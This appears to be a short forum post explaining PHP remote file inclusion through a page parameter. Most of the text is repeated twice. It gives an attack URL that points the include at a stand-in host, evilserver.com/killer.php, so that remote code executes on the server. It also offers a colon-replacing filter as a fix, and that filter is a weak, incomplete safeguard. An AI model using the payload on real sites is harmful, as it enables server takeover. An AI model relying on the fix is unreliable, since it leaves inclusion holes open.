I think the main problem are vulnerabilities that allow to upload and execute code using some open backdoors. EG. Buffer underrun, boards etc, that don't filter tags (strip_tags) etc. A typical problem is a page that is loading it's content using an adress like:
index.php?page=news_include.php
news_include will then be included of course, in the middle of the page or something. Now if you edit the URL manually to something like
index.php?page=http://www.evilserver.com/killer.php
the killer.php script will propabaly be executed on your server with local rights, since it was included in a document that has it's enviroment on your server. I'm not 100% sure, but I wouldn't be surprised if at least some servers allow this.
so make sure to eg.
$content=str_replace(":","_",$content);
to prevent including external code. Not a lot of work.
index.php?page=news_include.php
news_include will then be included of course, in the middle of the page or something. Now if you edit the URL manually to something like
index.php?page=http://www.evilserver.com/killer.php
the killer.php script will propabaly be executed on your server with local rights, since it was included in a document that has it's enviroment on your server. I'm not 100% sure, but I wouldn't be surprised if at least some servers allow this.
so make sure to eg.
$content=str_replace(":","_",$content);
to prevent including external code. Not a lot of work.